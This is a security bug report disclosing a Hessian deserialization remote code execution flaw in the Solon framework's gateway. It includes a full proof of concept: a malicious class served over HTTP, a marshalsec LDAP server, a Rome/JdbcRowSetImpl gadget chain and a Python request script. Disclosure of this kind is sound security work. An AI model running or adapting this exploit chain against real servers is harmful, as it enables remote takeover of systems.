BUG
https://github.com/noear/solon/blob/master/_solon_extend/solon.serialization.hessian/src/main/java/org/noear/solon/serialization/hessian/HessianActionExecutor.java
@Override
protected Object changeBody(Context ctx) throws Exception {
Hessian2Input hi = new Hessian2Input(new ByteArrayInputStream(ctx.bodyAsBytes()));
return hi.readObject();
}
When the framework's GateWay is used, And the official dependency solon.serialization.hessian was introduced,if requested api contains parameters, the body part of the request package will be deserialized with hessian.
This can lead to remote command execution.
stack:
changeBody:25, HessianActionExecutor (org.noear.solon.serialization.hessian)
buildArgs:53, ActionExecutorDefault (org.noear.solon.core.handle)
execute:42, ActionExecutorDefault (org.noear.solon.core.handle)
callDo:339, Action (org.noear.solon.core.handle)
invoke0:281, Action (org.noear.solon.core.handle)
invoke:215, Action (org.noear.solon.core.handle)
handle0:218, Gateway (org.noear.solon.core.handle)
doFilter:200, Gateway (org.noear.solon.core.handle)
doFilter:-1, 992768706 (org.noear.solon.core.handle.Gateway$$Lambda$59)
doFilter:22, FilterChainNode (org.noear.solon.core.handle)
handle:156, Gateway (org.noear.solon.core.handle)
handleMain:84, RouterHandler (org.noear.solon.core.route)
handle:52, RouterHandler (org.noear.solon.core.route)
handle:41, HandlerPipeline (org.noear.solon.core.handle)
doFilter:403, SolonApp (org.noear.solon)
doFilter:-1, 1576861390 (org.noear.solon.SolonApp$$Lambda$10)
doFilter:22, FilterChainNode (org.noear.solon.core.handle)
tryHandle:355, SolonApp (org.noear.solon)
handleDo:34, JlHttpContextHandler (org.noear.solon.boot.jlhttp)
serve:14, JlHttpContextHandler (org.noear.solon.boot.jlhttp)
serve:2316, HTTPServer (org.noear.solon.boot.jlhttp)
handleMethod:2247, HTTPServer (org.noear.solon.boot.jlhttp)
handleTransaction:2188, HTTPServer (org.noear.solon.boot.jlhttp)
handleConnection:2148, HTTPServer (org.noear.solon.boot.jlhttp)
run:1925, HTTPServer$SocketHandlerThread$1 (org.noear.solon.boot.jlhttp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
Reproduction
Use the official demo
https://github.com/noear/solon_demo/tree/master/demo17.solon_gateway
import dependencies
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon.serialization.hessian</artifactId>
</dependency>
import dependencies,Deserialization requires an exploit chain,Here is an example of com.rometools.rome
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
jdk:1.8.0_101
Parts that need to be modified:
api needs to accept parameters
server.dso.service.UserServiceImpl
@Override
public Result<UserModel> getUser(String name) {
UserModel user = userDao.getUser();
return Result.succeed(user);
}
remove the last two lines as it didn't work
client.ClientApp
public static void main(String[] args) {
Solon.start(ClientApp.class, args, app -> app.enableHttp(false));
ClientApp tmp = Solon.context().getBean(ClientApp.class);
}
The frame part is ready
poc
Compile a malicious class,and put it under a web service
public class evil {
static {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}catch (Exception e){
}
}
}
~/Desktop/demo/target/classes/ ls
a evil.class server
~/Desktop/demo/target/classes/ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
Deploy an ldap service using marshalsec:
~/Documents/tool/exp/marshalsec/ [master*] java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#evil 1099
Listening on 0.0.0.0:1099
Generate serialized data:
need to import dependencies
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.65</version>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.24</version>
</dependency>
package a;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Hessian2Gadget {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws java.lang.Exception, java.sql.SQLException, IOException, NoSuchFieldException, IllegalAccessException {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1099/evil");
jdbcRowSet.setMatchColumn(new String[]{"a","b"});
ToStringBean toStringBean=new ToStringBean(jdbcRowSet.getClass(),jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(),toStringBean);
HashMap<Object,Object> map=new HashMap<Object, Object>();
map.put(equalsBean,"bbb");
setValue(toStringBean,"obj",jdbcRowSet);
FileOutputStream fileOutputStream=new FileOutputStream(new File("/tmp/ser"));
Hessian2Output output=new Hessian2Output(fileOutputStream);
output.writeObject(map);
output.close();
}
}
Use python3 to initiate a request:
import requests
with open("/tmp/ser","rb") as f:
body= f.read()
print(len(body))
burp0_url = "http://localhost:8080/api/rest/user/getUser"
burp0_cookies = {"_jpanonym": "\"OWQ0ZTEzNzBlMWFlYTY2NzhhMDMxOWM5MmYzMjc0MzgjMTY2NTU2NDE1MzAwOCMzMTUzNjAwMCNPR1ZpTkRVd05qWXpZbU0xTkRCaU0yRXlabVpoTlRrek5HUXpabVk1TmpJPQ==\"", "Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a": "1665564182"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "deflate", "Connection": "close", "Content-Type": "application/hessian", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body)
The code in the evil.class part will be executed and the calculator will pop up